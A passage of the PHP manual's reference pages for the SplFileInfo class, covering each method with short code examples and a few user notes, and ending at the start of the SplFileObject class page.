public int getCTime ( void )
public string getExtension ( void )
public SplFileInfo getFileInfo ([ string $class_name ] )
public string getFilename ( void )
public int getGroup ( void )
public int getInode ( void )
public string getLinkTarget ( void )
public int getMTime ( void )
public int getOwner ( void )
public string getPath ( void )
public SplFileInfo getPathInfo ([ string $class_name ] )
public string getPathname ( void )
public int getPerms ( void )
public string getRealPath ( void )
public int getSize ( void )
public string getType ( void )
public bool isDir ( void )
public bool isExecutable ( void )
public bool isFile ( void )
public bool isLink ( void )
public bool isReadable ( void )
public bool isWritable ( void )
public SplFileObject openFile ([ string $open_mode = "r" [, bool $use_include_path = false [, resource $context = NULL ]]] )
public void setFileClass ([ string $class_name ] )
public void setInfoClass ([ string $class_name ] )
public void __toString ( void )
}

Table of Contents

  • SplFileInfo::__construct — Construct a new SplFileInfo object
  • SplFileInfo::getATime — Gets last access time of the file
  • SplFileInfo::getBasename — Gets the base name of the file
  • SplFileInfo::getCTime — Gets the inode change time
  • SplFileInfo::getExtension — Gets the file extension
  • SplFileInfo::getFileInfo — Gets an SplFileInfo object for the file
  • SplFileInfo::getFilename — Gets the filename
  • SplFileInfo::getGroup — Gets the file group
  • SplFileInfo::getInode — Gets the inode for the file
  • SplFileInfo::getLinkTarget — Gets the target of a link
  • SplFileInfo::getMTime — Gets the last modified time
  • SplFileInfo::getOwner — Gets the owner of the file
  • SplFileInfo::getPath — Gets the path without filename
  • SplFileInfo::getPathInfo — Gets an SplFileInfo object for the path
  • SplFileInfo::getPathname — Gets the path to the file
  • SplFileInfo::getPerms — Gets file permissions
  • SplFileInfo::getRealPath — Gets absolute path to file
  • SplFileInfo::getSize — Gets file size
  • SplFileInfo::getType — Gets file type
  • SplFileInfo::isDir — Tells if the file is a directory
  • SplFileInfo::isExecutable — Tells if the file is executable
  • SplFileInfo::isFile — Tells if the object references a regular file
  • SplFileInfo::isLink — Tells if the file is a link
  • SplFileInfo::isReadable — Tells if file is readable
  • SplFileInfo::isWritable — Tells if the entry is writable
  • SplFileInfo::openFile — Gets an SplFileObject object for the file
  • SplFileInfo::setFileClass — Sets the class name used with SplFileInfo::openFile
  • SplFileInfo::setInfoClass — Sets the class used with getFileInfo and getPathInfo
  • SplFileInfo::__toString — Returns the path to the file as a string

User Contributed Notes

There are no user contributed notes for this page.


Construct a new SplFileInfo object

  • « SplFileInfo
  • SplFileInfo::getATime »
  • PHP Manual
  • SplFileInfo
  • Construct a new SplFileInfo object

SplFileInfo::__construct

(PHP 5 >= 5.1.2)

SplFileInfo::__construct — Construct a new SplFileInfo object

Description

public SplFileInfo::__construct ( string $file_name )

Creates a new SplFileInfo object for the file_name specified. The file does not need to exist, or be readable.

Parameters

file_name

Path to the file.

Examples

Example #1 SplFileInfo::__construct() example

<?php
$info = new SplFileInfo('example.php');
if ($info->isFile()) {
    echo $info->getRealPath();
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Gets last access time of the file

  • « SplFileInfo::__construct
  • SplFileInfo::getBasename »
  • PHP Manual
  • SplFileInfo
  • Gets last access time of the file

SplFileInfo::getATime

(PHP 5 >= 5.1.2)

SplFileInfo::getATime — Gets last access time of the file

Description

public int SplFileInfo::getATime ( void )

Gets the last access time for the file.

Parameters

This function has no parameters.

Return Values

Returns the time the file was last accessed.

Errors/Exceptions

Throws RunTimeException on error.

See Also

  • fileatime() - Gets last access time of file

User Contributed Notes

There are no user contributed notes for this page.


Gets the base name of the file

  • « SplFileInfo::getATime
  • SplFileInfo::getCTime »
  • PHP Manual
  • SplFileInfo
  • Gets the base name of the file

SplFileInfo::getBasename

(PHP 5 >= 5.2.2)

SplFileInfo::getBasename — Gets the base name of the file

Description

public string SplFileInfo::getBasename ([ string $suffix ] )

This method returns the base name of the file, directory, or link without path info.

Parameters

suffix

Optional suffix to omit from the base name returned.

Return Values

Returns the base name without path information.

Examples

Example #1 SplFileInfo::getBasename() example

<?php
$info = new SplFileInfo('file.txt');
var_dump($info->getBasename());

$info = new SplFileInfo('/path/to/file.txt');
var_dump($info->getBasename());

$info = new SplFileInfo('/path/to/file.txt');
var_dump($info->getBasename('.txt'));
?>

The above example will output something similar to:

string(8) "file.txt"
string(8) "file.txt"
string(4) "file"

See Also

  • SplFileInfo::getFilename() - Gets the filename

User Contributed Notes

There are no user contributed notes for this page.


Gets the inode change time

  • « SplFileInfo::getBasename
  • SplFileInfo::getExtension »
  • PHP Manual
  • SplFileInfo
  • Gets the inode change time

SplFileInfo::getCTime

(PHP 5 >= 5.1.2)

SplFileInfo::getCTime — Gets the inode change time

Description

public int SplFileInfo::getCTime ( void )

Returns the inode change time for the file. The time returned is a Unix timestamp.

Parameters

This function has no parameters.

Return Values

The last change time, in a Unix timestamp.

Errors/Exceptions

Throws RunTimeException on error.

Examples

Example #1 SplFileInfo::getCTime() example

<?php
$info = new SplFileInfo(__FILE__);
echo 'Last changed at ' . date('g:i a', $info->getCTime());
?>

The above example will output something similar to:

Last changed at 1:49 pm

See Also

  • filectime() - Gets inode change time of file

User Contributed Notes

michael at smith-li dot com 01-Jul-2014 04:29
A file's ctime is it's inode change time. The inode changes when file metadata changes (for example when file permissions change). The inode also changes whenever the file's contents change, but since the inode changes for other reasons, it's more accurate to use mtime to get the age of the contents of a file. See SPLFileInfo::getMTime

Also, please note ctime is not creation time. (Most UNIX-like filesystems do not record a file's creation time.)


Gets the file extension

  • « SplFileInfo::getCTime
  • SplFileInfo::getFileInfo »
  • PHP Manual
  • SplFileInfo
  • Gets the file extension

SplFileInfo::getExtension

(PHP 5 >= 5.3.6)

SplFileInfo::getExtension — Gets the file extension

Description

public string SplFileInfo::getExtension ( void )

Retrieves the file extension.

Parameters

This function has no parameters.

Return Values

Returns a string containing the file extension, or an empty string if the file has no extension.

Examples

Example #1 SplFileInfo::getExtension() example

<?php

$info = new SplFileInfo('foo.txt');
var_dump($info->getExtension());

$info = new SplFileInfo('photo.jpg');
var_dump($info->getExtension());

$info = new SplFileInfo('something.tar.gz');
var_dump($info->getExtension());

?>

The above example will output:

string(3) "txt"
string(3) "jpg"
string(2) "gz"

Notes

Note:

This method is only available as of PHP 5.3.6. Another way of getting the extension is to use the pathinfo() function.

<?php
$extension = pathinfo($info->getFilename(), PATHINFO_EXTENSION);
?>

See Also

  • SplFileInfo::getFilename() - Gets the filename
  • SplFileInfo::getBasename() - Gets the base name of the file
  • pathinfo() - Returns information about a file path

User Contributed Notes

There are no user contributed notes for this page.


Gets an SplFileInfo object for the file

  • « SplFileInfo::getExtension
  • SplFileInfo::getFilename »
  • PHP Manual
  • SplFileInfo
  • Gets an SplFileInfo object for the file

SplFileInfo::getFileInfo

(PHP 5 >= 5.1.2)

SplFileInfo::getFileInfo — Gets an SplFileInfo object for the file

Description

public SplFileInfo SplFileInfo::getFileInfo ([ string $class_name ] )

This method gets an SplFileInfo object for the referenced file.

Parameters

class_name

Name of an SplFileInfo derived class to use.

Return Values

An SplFileInfo object created for the file.

See Also

  • SplFileInfo::setInfoClass() - Sets the class used with getFileInfo and getPathInfo

User Contributed Notes

There are no user contributed notes for this page.


Gets the filename

  • « SplFileInfo::getFileInfo
  • SplFileInfo::getGroup »
  • PHP Manual
  • SplFileInfo
  • Gets the filename

SplFileInfo::getFilename

(PHP 5 >= 5.1.2)

SplFileInfo::getFilename — Gets the filename

Description

public string SplFileInfo::getFilename ( void )

Gets the filename without any path information.

Parameters

This function has no parameters.

Return Values

The filename.

Examples

Example #1 SplFileInfo::getFilename() example

<?php
$info = new SplFileInfo('foo.txt');
var_dump($info->getFilename());

$info = new SplFileInfo('/path/to/foo.txt');
var_dump($info->getFilename());

$info = new SplFileInfo('http://www.php.net/');
var_dump($info->getFilename());

$info = new SplFileInfo('http://www.php.net/svn.php');
var_dump($info->getFilename());
?>

The above example will output something similar to:

string(7) "foo.txt"
string(7) "foo.txt"
string(0) ""
string(7) "svn.php"

See Also

  • SplFileInfo::getBasename() - Gets the base name of the file

User Contributed Notes

wloske at yahoo dot de 19-Oct-2009 06:12
It should be mentioned that the function returns the name of the directory if "filename" is of type "directory". Hence

<?php
$info = new SplFileInfo('/path/to/');
var_dump($info->getFilename());
?>

should return "to"

The function name is kind of misleading here and I am glad to have it tried.


Gets the file group

  • « SplFileInfo::getFilename
  • SplFileInfo::getInode »
  • PHP Manual
  • SplFileInfo
  • Gets the file group

SplFileInfo::getGroup

(PHP 5 >= 5.1.2)

SplFileInfo::getGroup — Gets the file group

Description

public int SplFileInfo::getGroup ( void )

Gets the file group. The group ID is returned in numerical format.

Parameters

This function has no parameters.

Return Values

The group id in numerical format.

Errors/Exceptions

Throws RuntimeException on error.

Examples

Example #1 SplFileInfo::getGroup() example

<?php
$info = new SplFileInfo(__FILE__);
print_r(posix_getgrgid($info->getGroup()));
?>

The above example will output something similar to:

See Also

  • posix_getgrgid() - Return info about a group by group id

User Contributed Notes

There are no user contributed notes for this page.


Gets the inode for the file

  • « SplFileInfo::getGroup
  • SplFileInfo::getLinkTarget »
  • PHP Manual
  • SplFileInfo
  • Gets the inode for the file

SplFileInfo::getInode

(PHP 5 >= 5.1.2)

SplFileInfo::getInode — Gets the inode for the file

Description

public int SplFileInfo::getInode ( void )

Gets the inode number for the filesystem object.

Parameters

This function has no parameters.

Return Values

Returns the inode number for the filesystem object.

Errors/Exceptions

Throws RuntimeException on error.

See Also

  • fileinode() - Gets file inode

User Contributed Notes

sander at webpirates dot nl 12-Jun-2009 11:03
Question raised on DPC2009: What does getInode() return on windows? Answer: int 0.


Gets the target of a link

  • « SplFileInfo::getInode
  • SplFileInfo::getMTime »
  • PHP Manual
  • SplFileInfo
  • Gets the target of a link

SplFileInfo::getLinkTarget

(PHP 5 >= 5.2.2)

SplFileInfo::getLinkTarget — Gets the target of a link

Description

public string SplFileInfo::getLinkTarget ( void )

Gets the target of a filesystem link.

Note:

The target may not be the real path on the filesystem. Use SplFileInfo::getRealPath() to determine the true path on the filesystem.

Parameters

This function has no parameters.

Return Values

Returns the target of the filesystem link.

Errors/Exceptions

Throws RuntimeException on error.

Examples

Example #1 SplFileInfo::getLinkTarget() example

<?php
$info = new SplFileInfo('/Users/bbieber/workspace');
if ($info->isLink()) {
    var_dump($info->getLinkTarget());
    var_dump($info->getRealPath());
}
?>

The above example will output something similar to:

string(19) "Documents/workspace"
string(34) "/Users/bbieber/Documents/workspace"

See Also

  • SplFileInfo::isLink() - Tells if the file is a link
  • SplFileInfo::getRealPath() - Gets absolute path to file

User Contributed Notes

There are no user contributed notes for this page.


Gets the last modified time

  • « SplFileInfo::getLinkTarget
  • SplFileInfo::getOwner »
  • PHP Manual
  • SplFileInfo
  • Gets the last modified time

SplFileInfo::getMTime

(PHP 5 >= 5.1.2)

SplFileInfo::getMTime — Gets the last modified time

Description

public int SplFileInfo::getMTime ( void )

Returns the time when the contents of the file were changed. The time returned is a Unix timestamp.

Parameters

This function has no parameters.

Return Values

Returns the last modified time for the file, in a Unix timestamp.

See Also

  • filemtime() - Gets file modification time

User Contributed Notes

There are no user contributed notes for this page.


Gets the owner of the file

  • « SplFileInfo::getMTime
  • SplFileInfo::getPath »
  • PHP Manual
  • SplFileInfo
  • Gets the owner of the file

SplFileInfo::getOwner

(PHP 5 >= 5.1.2)

SplFileInfo::getOwner — Gets the owner of the file

Description

public int SplFileInfo::getOwner ( void )

Gets the file owner. The owner ID is returned in numerical format.

Parameters

This function has no parameters.

Return Values

The owner id in numerical format.

Errors/Exceptions

Throws RuntimeException on error.

Examples

Example #1 SplFileInfo::getOwner() example

<?php
$info = new SplFileInfo('file.txt');
print_r(posix_getpwuid($info->getOwner()));
?>

See Also

  • posix_getpwuid() - Return info about a user by user id
  • SplFileInfo::getGroup() - Gets the file group

User Contributed Notes

There are no user contributed notes for this page.


Gets the path without filename

  • « SplFileInfo::getOwner
  • SplFileInfo::getPathInfo »
  • PHP Manual
  • SplFileInfo
  • Gets the path without filename

SplFileInfo::getPath

(PHP 5 >= 5.1.2)

SplFileInfo::getPath — Gets the path without filename

Description

public string SplFileInfo::getPath ( void )

Returns the path to the file, omitting the filename and any trailing slash.

Parameters

This function has no parameters.

Return Values

Returns the path to the file.

Examples

Example #1 SplFileInfo::getPath() example

<?php
$info = new SplFileInfo('/usr/bin/php');
var_dump($info->getPath());

$info = new SplFileInfo('/usr/');
var_dump($info->getPath());?>

The above example will output something similar to:

string(8) "/usr/bin"
string(4) "/usr"

See Also

  • SplFileInfo::getRealPath() - Gets absolute path to file
  • SplFileInfo::getFilename() - Gets the filename
  • SplFileInfo::getPathInfo() - Gets an SplFileInfo object for the path

User Contributed Notes

There are no user contributed notes for this page.


Gets an SplFileInfo object for the path

  • « SplFileInfo::getPath
  • SplFileInfo::getPathname »
  • PHP Manual
  • SplFileInfo
  • Gets an SplFileInfo object for the path

SplFileInfo::getPathInfo

(PHP 5 >= 5.1.2)

SplFileInfo::getPathInfo — Gets an SplFileInfo object for the path

Description

public SplFileInfo SplFileInfo::getPathInfo ([ string $class_name ] )

Gets an SplFileInfo object for the parent of the current file.

Parameters

class_name

Name of an SplFileInfo derived class to use.

Return Values

Returns an SplFileInfo object for the parent path of the file.

Examples

Example #1 SplFileInfo::getPathInfo() example

<?php
$info = new SplFileInfo('/usr/bin/php');
$parent_info = $info->getPathInfo();
var_dump($parent_info->getRealPath());
?>

The above example will output something similar to:

string(8) "/usr/bin"

See Also

  • SplFileInfo::setInfoClass() - Sets the class used with getFileInfo and getPathInfo

User Contributed Notes

There are no user contributed notes for this page.


Gets the path to the file

  • « SplFileInfo::getPathInfo
  • SplFileInfo::getPerms »
  • PHP Manual
  • SplFileInfo
  • Gets the path to the file

SplFileInfo::getPathname

(PHP 5 >= 5.1.2)

SplFileInfo::getPathname — Gets the path to the file

Description

public string SplFileInfo::getPathname ( void )

Returns the path to the file.

Parameters

This function has no parameters.

Return Values

The path to the file.

Examples

Example #1 SplFileInfo::getPathname() example

<?php
$info = new SplFileInfo('/usr/bin/php');
var_dump($info->getPathname());
?>

The above example will output something similar to:

string(12) "/usr/bin/php"

See Also

  • SplFileInfo::getRealPath() - Gets absolute path to file

User Contributed Notes

_ michael 18-Mar-2011 03:00
In Windows, getPathname might return a path with a mix of backslashes and forward slashes ('C:/some/path/to\a\file.txt'). Observed in PHP 5.2.9. By contrast, getRealPath will return a consistent result (all backslashes).


Gets file permissions

  • « SplFileInfo::getPathname
  • SplFileInfo::getRealPath »
  • PHP Manual
  • SplFileInfo
  • Gets file permissions

SplFileInfo::getPerms

(PHP 5 >= 5.1.2)

SplFileInfo::getPerms — Gets file permissions

Description

public int SplFileInfo::getPerms ( void )

Gets the file permissions for the file.

Parameters

This function has no parameters.

Return Values

Returns the file permissions.

Examples

Example #1 SplFileInfo::getPerms() example

<?php
$info = new SplFileInfo('/tmp');
echo substr(sprintf('%o', $info->getPerms()), -4);

$info = new SplFileInfo(__FILE__);
echo substr(sprintf('%o', $info->getPerms()), -4);
?>

The above example will output something similar to:

1777
0644

User Contributed Notes

There are no user contributed notes for this page.


Gets absolute path to file

  • « SplFileInfo::getPerms
  • SplFileInfo::getSize »
  • PHP Manual
  • SplFileInfo
  • Gets absolute path to file

SplFileInfo::getRealPath

(PHP 5 >= 5.2.2)

SplFileInfo::getRealPath — Gets absolute path to file

Description

public string SplFileInfo::getRealPath ( void )

This method expands all symbolic links, resolves relative references and returns the real path to the file.

Parameters

This function has no parameters.

Return Values

Returns the path to the file.

Examples

Example #1 SplFileInfo::getRealPath() example

<?php
$info = new SplFileInfo('/..//./../../'.__FILE__);
var_dump($info->getRealPath());

$info = new SplFileInfo('/tmp');
var_dump($info->getRealPath());
?>

The above example will output something similar to:

string(28) "/private/tmp/phptempfile.php"
string(12) "/private/tmp"

See Also

  • SplFileInfo::isLink() - Tells if the file is a link

User Contributed Notes

josef dot vlk dot d at gmail dot com 15-Oct-2012 12:52
It seems that (at least for PHP 5.4.6), this method returns false if the file does not exist.


Gets file size

  • « SplFileInfo::getRealPath
  • SplFileInfo::getType »
  • PHP Manual
  • SplFileInfo
  • Gets file size

SplFileInfo::getSize

(PHP 5 >= 5.1.2)

SplFileInfo::getSize — Gets file size

Description

public int SplFileInfo::getSize ( void )

Returns the filesize in bytes for the file referenced.

Parameters

This function has no parameters.

Return Values

The filesize in bytes.

Errors/Exceptions

A RuntimeException will be thrown if the file does not exist or an error occurs.

See Also

  • filesize() - Gets file size

User Contributed Notes

franssen dot roland at gmail dot com 30-Apr-2011 02:59
Seems to return FALSE if file does not exists... (PHP 5.3.4)


Gets file type

  • « SplFileInfo::getSize
  • SplFileInfo::isDir »
  • PHP Manual
  • SplFileInfo
  • Gets file type

SplFileInfo::getType

(PHP 5 >= 5.1.2)

SplFileInfo::getType — Gets file type

Description

public string SplFileInfo::getType ( void )

Returns the type of the file referenced.

Parameters

This function has no parameters.

Return Values

A string representing the type of the entry. May be one of file, link, or dir

Errors/Exceptions

Throws a RuntimeException on error.

Examples

Example #1 SplFileInfo::getType() example

<?php

$info = new SplFileInfo(__FILE__);
echo $info->getType().PHP_EOL;

$info = new SplFileInfo(dirname(__FILE__));
echo $info->getType();

?>

The above example will output something similar to:

file
dir

User Contributed Notes

There are no user contributed notes for this page.


Tells if the file is a directory

  • « SplFileInfo::getType
  • SplFileInfo::isExecutable »
  • PHP Manual
  • SplFileInfo
  • Tells if the file is a directory

SplFileInfo::isDir

(PHP 5 >= 5.1.2)

SplFileInfo::isDir — Tells if the file is a directory

Description

public bool SplFileInfo::isDir ( void )

This method can be used to determine if the file is a directory.

Parameters

This function has no parameters.

Return Values

Returns TRUE if a directory, FALSE otherwise.

Examples

Example #1 SplFileInfo::isDir() example

<?php
$d = new SplFileInfo(dirname(__FILE__));
var_dump($d->isDir());

$d = new SplFileInfo(__FILE__);
var_dump($d->isDir());
?>

The above example will output something similar to:

bool(true)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


Tells if the file is executable

  • « SplFileInfo::isDir
  • SplFileInfo::isFile »
  • PHP Manual
  • SplFileInfo
  • Tells if the file is executable

SplFileInfo::isExecutable

(PHP 5 >= 5.1.2)

SplFileInfo::isExecutable — Tells if the file is executable

Description

public bool SplFileInfo::isExecutable ( void )

Checks if the file is executable.

Parameters

This function has no parameters.

Return Values

Returns TRUE if executable, FALSE otherwise.

Examples

Example #1 SplFileInfo::isExecutable() example

<?php
$info = new SplFileInfo('/usr/bin/php');
var_dump($info->isExecutable());

$info = new SplFileInfo('/usr/bin');
var_dump($info->isExecutable());

$info = new SplFileInfo('foo');
var_dump($info->isExecutable());
?>

The above example will output something similar to:

bool(true)
bool(true)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


Tells if the object references a regular file

  • « SplFileInfo::isExecutable
  • SplFileInfo::isLink »
  • PHP Manual
  • SplFileInfo
  • Tells if the object references a regular file

SplFileInfo::isFile

(PHP 5 >= 5.1.2)

SplFileInfo::isFile — Tells if the object references a regular file

Description

public bool SplFileInfo::isFile ( void )

Checks if the file referenced by this SplFileInfo object exists and is a regular file.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the file exists and is a regular file (not a link), FALSE otherwise.

Examples

Example #1 SplFileInfo::isFile() example

<?php
$info = new SplFileInfo(__FILE__);
var_dump($info->isFile());

$info = new SplFileInfo(dirname(__FILE__));
var_dump($info->isFile());
?>

The above example will output something similar to:

bool(true)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


Tells if the file is a link

  • « SplFileInfo::isFile
  • SplFileInfo::isReadable »
  • PHP Manual
  • SplFileInfo
  • Tells if the file is a link

SplFileInfo::isLink

(PHP 5 >= 5.1.2)

SplFileInfo::isLink — Tells if the file is a link

Description

public bool SplFileInfo::isLink ( void )

Use this method to check if the file referenced by the SplFileInfo object is a link.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the file is a link, FALSE otherwise.

Examples

Example #1 SplFileInfo::isLink() example

<?php
$info = new SplFileInfo('/path/to/symlink');
if ($info->isLink()) {
    echo 'The real path is '.$info->getRealPath();
}
?>

See Also

  • SplFileInfo::getRealPath() - Gets absolute path to file

User Contributed Notes

There are no user contributed notes for this page.


Tells if file is readable

  • « SplFileInfo::isLink
  • SplFileInfo::isWritable »
  • PHP Manual
  • SplFileInfo
  • Tells if file is readable

SplFileInfo::isReadable

(PHP 5 >= 5.1.2)

SplFileInfo::isReadable — Tells if file is readable

Description

public bool SplFileInfo::isReadable ( void )

Check if the file is readable.

Parameters

This function has no parameters.

Return Values

Returns TRUE if readable, FALSE otherwise.

Examples

Example #1 SplFileInfo::isReadable() example

<?php
$info = new SplFileInfo(__FILE__);
var_dump($info->isReadable());

$info = new SplFileInfo('foo');
var_dump($info->isReadable());
?>

The above example will output something similar to:

bool(true)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


Tells if the entry is writable

  • « SplFileInfo::isReadable
  • SplFileInfo::openFile »
  • PHP Manual
  • SplFileInfo
  • Tells if the entry is writable

SplFileInfo::isWritable

(PHP 5 >= 5.1.2)

SplFileInfo::isWritable — Tells if the entry is writable

Description

public bool SplFileInfo::isWritable ( void )

Checks if the current entry is writable.

Parameters

This function has no parameters.

Return Values

Returns TRUE if writable, FALSE otherwise;

User Contributed Notes

There are no user contributed notes for this page.


Gets an SplFileObject object for the file

  • « SplFileInfo::isWritable
  • SplFileInfo::setFileClass »
  • PHP Manual
  • SplFileInfo
  • Gets an SplFileObject object for the file

SplFileInfo::openFile

(PHP 5 >= 5.1.2)

SplFileInfo::openFile — Gets an SplFileObject object for the file

Description

public SplFileObject SplFileInfo::openFile ([ string $open_mode = "r" [, bool $use_include_path = false [, resource $context = NULL ]]] )

Creates an SplFileObject object of the file. This is useful because SplFileObject contains additional methods for manipulating the file whereas SplFileInfo is only useful for gaining information, like whether the file is writable.

Parameters

open_mode

The mode for opening the file. See the fopen() documentation for descriptions of possible modes. The default is read only.

use_include_path

When set to TRUE, the filename is also searched for within the include_path

context

Refer to the context section of the manual for a description of contexts.

Return Values

The opened file as an SplFileObject object.

Errors/Exceptions

A RuntimeException if the file cannot be opened (e.g. insufficient access rights).

Examples

Example #1 SplFileInfo::openFile() example

<?php
$fileinfo = new SplFileInfo('/tmp/foo.txt');

if ($fileinfo->isWritable()) {

    $fileobj = $fileinfo->openFile('a');

    $fileobj->fwrite("appended this sample text");
}
?>

See Also

  • SplFileObject
  • stream_context_create() - Creates a stream context
  • fopen() - Opens file or URL

User Contributed Notes

There are no user contributed notes for this page.


Sets the class name used with SplFileInfo::openFile

  • « SplFileInfo::openFile
  • SplFileInfo::setInfoClass »
  • PHP Manual
  • SplFileInfo
  • Sets the class name used with SplFileInfo::openFile

SplFileInfo::setFileClass

(PHP 5 >= 5.1.2)

SplFileInfo::setFileClass — Sets the class name used with SplFileInfo::openFile()

Description

public void SplFileInfo::setFileClass ([ string $class_name ] )

Set the class name which SplFileInfo will use to open files with when openFile() is called. The class name passed to this method must be derived from SplFileObject.

Parameters

class_name

The class name to use when openFile() is called.

Return Values

No value is returned.

Examples

Example #1 SplFileInfo::setFileClass() example

<?php
// Create a class extending SplFileObject
class MyFoo extends SplFileObject {}

$info = new SplFileInfo(__FILE__);
// Set the class to use
$info->setFileClass('MyFoo');
var_dump($info->openFile());
?>

The above example will output something similar to:

object(MyFoo)#2 (0) { }

See Also

  • SplFileInfo::openFile() - Gets an SplFileObject object for the file

User Contributed Notes

There are no user contributed notes for this page.


Sets the class used with getFileInfo and getPathInfo

  • « SplFileInfo::setFileClass
  • SplFileInfo::__toString »
  • PHP Manual
  • SplFileInfo
  • Sets the class used with getFileInfo and getPathInfo

SplFileInfo::setInfoClass

(PHP 5 >= 5.1.2)

SplFileInfo::setInfoClass — Sets the class used with getFileInfo and getPathInfo

Description

public void SplFileInfo::setInfoClass ([ string $class_name ] )

Use this method to set a custom class which will be used when getFileInfo and getPathInfo are called. The class name passed to this method must be derived from SplFileInfo.

Parameters

class_name

The class name to use.

Return Values

No value is returned.

Examples

Example #1 SplFileInfo::setFileClass() example

<?php
// Define a class which extends SplFileInfo
class MyFoo extends SplFileInfo {}

$info = new SplFileInfo('foo');
// Set the class name to use
$info->setInfoClass('MyFoo');
var_dump($info->getFileInfo());
?>

The above example will output something similar to:

object(MyFoo)#2 (0) { }

See Also

  • SplFileInfo::getFileInfo() - Gets an SplFileInfo object for the file

User Contributed Notes

There are no user contributed notes for this page.


Returns the path to the file as a string

  • « SplFileInfo::setInfoClass
  • SplFileObject »
  • PHP Manual
  • SplFileInfo
  • Returns the path to the file as a string

SplFileInfo::__toString

(PHP 5 >= 5.1.2)

SplFileInfo::__toString — Returns the path to the file as a string

Description

public void SplFileInfo::__toString ( void )

This method will return the file name of the referenced file.

Parameters

This function has no parameters.

Return Values

Returns the path to the file.

Examples

Example #1 SplFileInfo::__toString() example

<?php
$info = new SplFileInfo('foo');
var_dump($info->__toString());
echo $info.PHP_EOL;

$info = new SplFileInfo('/usr/bin/php');
var_dump($info->__toString());
echo $info.PHP_EOL;
?>

The above example will output something similar to:

string(3) "foo"
foo
string(12) "/usr/bin/php"
/usr/bin/php

User Contributed Notes

There are no user contributed notes for this page.


The SplFileObject class

(PHP 5 >= 5.1.0)

Introduction

The SplFileObject class offers an object oriented interface for a file.

Class synopsis

SplFileObject extends SplFileInfo implements RecursiveIterator , SeekableIterator {
/* Constants */
const integer DROP_NEW_LINE = 1 ;
const integer READ_AHEAD = 2 ;
const integer SKIP_EMPTY = 4 ;
const integer READ_CSV = 8 ;
/* Methods */
public __construct ( string $filename [, string $open_mode = "r" [, bool $use_include_path = false [, resource $context ]]] )
public string|array current ( void )
public bool eof ( void )
public bool fflush ( void )
public string fgetc ( void )
 public array fgetcsv
  ([ string $delimiter = ","
 [, string $enclosure = "\""
 [, string $escape = "\\"
]]] )
public string fgets ( void )
public string fgetss ([ string $allowable_tags ] )
public bool flock ( int $operation [, int &$wouldblock ] )
public int fpassthru ( void )
public int fputcsv ( array $fields [, string $delimiter = "," [, string $enclosure = '"' ]] )
public string fread ( int $length )
public mixed fscanf ( string $format [, mixed &$... ] )
public int fseek ( int $offset [, int $whence = SEEK_SET ] )
public array fstat ( void )
public int ftell ( void )
public bool ftruncate ( int $size )
public int fwrite ( string $str [, int $length ] )
public void getChildren ( void )
public array getCsvControl ( void )
public int getFlags ( void )
public int getMaxLineLen ( void )
public bool hasChildren ( void )
public int key ( void )
public void next ( void )
public void rewind ( void )
public void seek ( int $line_pos )
 public void setCsvControl
  ([ string $delimiter = ","
 [, string $enclosure = "\""
 [, string $escape = "\\"
]]] )
public void setFlags ( int $flags )
public void setMaxLineLen ( int $max_len )
public void __toString ( void )
public bool valid ( void )
/* Inherited methods */
public SplFileInfo::__construct ( string $file_name )
public int SplFileInfo::getATime ( void )
public string SplFileInfo::getBasename ([ string $suffix ] )
public int SplFileInfo::getCTime ( void )
public string SplFileInfo::getExtension ( void )
public SplFileInfo SplFileInfo::getFileInfo ([ string $class_name ] )
public string SplFileInfo::getFilename ( void )
public int SplFileInfo::getGroup ( void )
public int SplFileInfo::getInode ( void )
public string SplFileInfo::getLinkTarget ( void )
public int SplFileInfo::getMTime ( void )
public int SplFileInfo::getOwner ( void )
public string SplFileInfo::getPath ( void )
public SplFileInfo SplFileInfo::getPathInfo ([ string $class_name ] )
public string SplFileInfo::getPathname ( void )
public int SplFileInfo::getPerms ( void )
public string SplFileInfo::getRealPath ( void )
public int SplFileInfo::getSize ( void )
public string SplFileInfo::getType ( void )
public bool SplFileInfo::isDir ( void )
public bool SplFileInfo::isExecutable ( void )
public bool SplFileInfo::isFile ( void )
public bool SplFileInfo::isLink ( void )
public bool SplFileInfo::isReadable ( void )
public bool SplFileInfo::isWritable ( void )
public SplFileObject SplFileInfo::openFile ([ string $open_mode = "r" [, bool $use_include_path = false [, resource $context = NULL ]]] )
public void SplFileInfo::setFileClass ([ string $class_name ] )
public void SplFileInfo::setInfoClass ([ string $class_name ] )
public void SplFileInfo::__toString ( void )
}

Predefined Constants

SplFileObject::DROP_NEW_LINE

Drop newlines at the end of a line.

SplFileObject::READ_AHEAD

Read on rewind/next.

SplFileObject::SKIP_EMPTY

Skips empty lines in the file. This requires the READ_AHEAD flag be enabled, to work as expected.

SplFileObject::READ_CSV

Read lines as CSV rows.

Changelog

Version | Description
5.3.9 | SplFileObject::SKIP_EMPTY value changed to 4. Previously, value was 6.

Table of Contents

  • SplFileObject::__construct — Construct a new file object.
  • SplFileObject::current — Retrieve current line of file
  • SplFileObject::eof — Reached end of file
  • SplFileObject::fflush — Flushes the output to the file
  • SplFileObject::fgetc — Gets character from file
  • SplFileObject::fgetcsv — Gets line from file and parse as CSV fields
  • SplFileObject::fgets — Gets line from file
  • SplFileObject::fgetss — Gets line from file and strip HTML tags
  • SplFileObject::flock — Portable file locking
  • SplFileObject::fpassthru — Output all remaining data on a file pointer
  • SplFileObject::fputcsv — Write a field array as a CSV line
  • SplFileObject::fread — Read from file
  • SplFileObject::fscanf — Parses input from file according to a format
  • SplFileObject::fseek — Seek to a position
  • SplFileObject::fstat — Gets information about the file
  • SplFileObject::ftell — Return current file position
  • SplFileObject::ftruncate — Truncates the file to a given length
  • SplFileObject::fwrite — Write to file
  • SplFileObject::getChildren — No purpose
  • SplFileObject::getCsvControl — Get the delimiter and enclosure character for CSV
  • SplFileObject::getCurrentLine — Alias of SplFileObject::fgets
  • SplFileObject::getFlags — Gets flags for the SplFileObject
  • SplFileObject::getMaxLineLen — Get maximum line length
  • SplFileObject::hasChildren — SplFileObject does not have children
  • SplFileObject::key — Get line number
  • SplFileObject::next — Read next line
  • SplFileObject::rewind — Rewind the file to the first line
  • SplFileObject::seek — Seek to specified line
  • SplFileObject::setCsvControl — Set the delimiter and enclosure character for CSV
  • SplFileObject::setFlags — Sets flags for the SplFileObject
